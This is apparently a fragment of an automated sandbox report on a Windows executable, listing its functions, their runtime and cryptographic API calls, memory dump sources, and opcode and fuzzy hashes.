                                                                                                                                                                                                                                                                • __lock.LIBCMT ref: 0042FB7B
                                                                                                                                                                                                                                                                  • Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
                                                                                                                                                                                                                                                                  • Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
                                                                                                                                                                                                                                                                  • Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22
                                                                                                                                                                                                                                                                • __tzset_nolock.LIBCMT ref: 0042FB8E
                                                                                                                                                                                                                                                                  • Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
                                                                                                                                                                                                                                                                  • Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
                                                                                                                                                                                                                                                                  • Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
                                                                                                                                                                                                                                                                  • Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
                                                                                                                                                                                                                                                                  • Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
                                                                                                                                                                                                                                                                  • Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1282695788-0
                                                                                                                                                                                                                                                                • Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
                                                                                                                                                                                                                                                                • Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 1089 427f3d-427f47 call 427e0e 1091 427f4c-427f50 1089->1091
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _doexit.LIBCMT ref: 00427F47
                                                                                                                                                                                                                                                                  • Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
                                                                                                                                                                                                                                                                  • Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
                                                                                                                                                                                                                                                                  • Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
                                                                                                                                                                                                                                                                  • Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
                                                                                                                                                                                                                                                                  • Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
                                                                                                                                                                                                                                                                  • Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
                                                                                                                                                                                                                                                                  • Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
                                                                                                                                                                                                                                                                  • Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Pointer$Decode$Encode$__lock_doexit
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2158581194-0
                                                                                                                                                                                                                                                                • Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
                                                                                                                                                                                                                                                                • Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                                                                Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetVersionExA.KERNEL32(00000094), ref: 00481983
                                                                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
                                                                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
                                                                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
                                                                                                                                                                                                                                                                • FreeLibrary.KERNEL32(?), ref: 00481AC5
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
                                                                                                                                                                                                                                                                • FreeLibrary.KERNEL32(?), ref: 00481C15
                                                                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
                                                                                                                                                                                                                                                                • FreeLibrary.KERNEL32(?), ref: 00481D45
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
                                                                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00481F03
                                                                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00481FF1
                                                                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00482066
                                                                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00482095
                                                                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 004820FB
                                                                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00482118
                                                                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00482187
                                                                                                                                                                                                                                                                • GetTickCount.KERNEL32 ref: 004821A4
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AddressProc$CountTick$Library$Load$Free$Version
                                                                                                                                                                                                                                                                • String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
                                                                                                                                                                                                                                                                • API String ID: 842291066-1723836103
                                                                                                                                                                                                                                                                • Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
                                                                                                                                                                                                                                                                • Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 00411026
                                                                                                                                                                                                                                                                  • Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F
                                                                                                                                                                                                                                                                • CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 00411051
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32(?,00000000), ref: 00411059
                                                                                                                                                                                                                                                                • CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0041107A
                                                                                                                                                                                                                                                                • CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 004110AB
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 004110CA
                                                                                                                                                                                                                                                                • CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 004110F0
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 00411100
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0041110B
                                                                                                                                                                                                                                                                • _sprintf.LIBCMT ref: 0041112E
                                                                                                                                                                                                                                                                • lstrcatA.KERNEL32(?,?), ref: 0041113C
                                                                                                                                                                                                                                                                • CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
                                                                                                                                                                                                                                                                • CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
                                                                                                                                                                                                                                                                • String ID: %.2X
                                                                                                                                                                                                                                                                • API String ID: 2451520719-213608013
                                                                                                                                                                                                                                                                • Opcode ID: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
                                                                                                                                                                                                                                                                • Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00411915
                                                                                                                                                                                                                                                                • FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
                                                                                                                                                                                                                                                                • lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
                                                                                                                                                                                                                                                                • lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
                                                                                                                                                                                                                                                                • LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(00000000,?), ref: 00411962
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(00000000,?), ref: 0041198B
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(00000000,?), ref: 00411999
                                                                                                                                                                                                                                                                • lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 004119B8
                                                                                                                                                                                                                                                                • lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC
                                                                                                                                                                                                                                                                  • Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9
                                                                                                                                                                                                                                                                • LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
                                                                                                                                                                                                                                                                • LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
                                                                                                                                                                                                                                                                • String ID: failed with error
                                                                                                                                                                                                                                                                • API String ID: 4182478520-946485432
                                                                                                                                                                                                                                                                • Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
                                                                                                                                                                                                                                                                • Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
                                                                                                                                                                                                                                                                  • Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
                                                                                                                                                                                                                                                                  • Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE
                                                                                                                                                                                                                                                                • PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
                                                                                                                                                                                                                                                                • _memmove.LIBCMT ref: 0040F9EA
                                                                                                                                                                                                                                                                • PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
                                                                                                                                                                                                                                                                • _memmove.LIBCMT ref: 0040FADA
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Message$FileFindNamePathPeek_memmove$Dispatch
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 273148273-0
                                                                                                                                                                                                                                                                • Opcode ID: fcdb3c65d237faf0aacdec3d6eb45a8278326906d3b88b2002ac43bdb553a6d9
                                                                                                                                                                                                                                                                • Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: fcdb3c65d237faf0aacdec3d6eb45a8278326906d3b88b2002ac43bdb553a6d9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040E8E4
                                                                                                                                                                                                                                                                  • Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F
                                                                                                                                                                                                                                                                • CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040E90F
                                                                                                                                                                                                                                                                • CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040E93E
                                                                                                                                                                                                                                                                • CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040E96F
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0040E98E
                                                                                                                                                                                                                                                                • CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040E9B4
                                                                                                                                                                                                                                                                • _sprintf.LIBCMT ref: 0040E9D3
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
                                                                                                                                                                                                                                                                • String ID: %.2X
                                                                                                                                                                                                                                                                • API String ID: 1084002244-213608013
                                                                                                                                                                                                                                                                • Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
                                                                                                                                                                                                                                                                • Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040EB17
                                                                                                                                                                                                                                                                  • Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F
                                                                                                                                                                                                                                                                • CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040EB42
                                                                                                                                                                                                                                                                • CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040EB64
                                                                                                                                                                                                                                                                • CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040EB95
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0040EBB4
                                                                                                                                                                                                                                                                • CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0040EBDA
                                                                                                                                                                                                                                                                • _sprintf.LIBCMT ref: 0040EBF4
                                                                                                                                                                                                                                                                • CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
                                                                                                                                                                                                                                                                • CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
                                                                                                                                                                                                                                                                • String ID: %.2X
                                                                                                                                                                                                                                                                • API String ID: 1637485200-213608013
                                                                                                                                                                                                                                                                • Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
                                                                                                                                                                                                                                                                • Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
                                                                                                                                                                                                                                                                  • Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
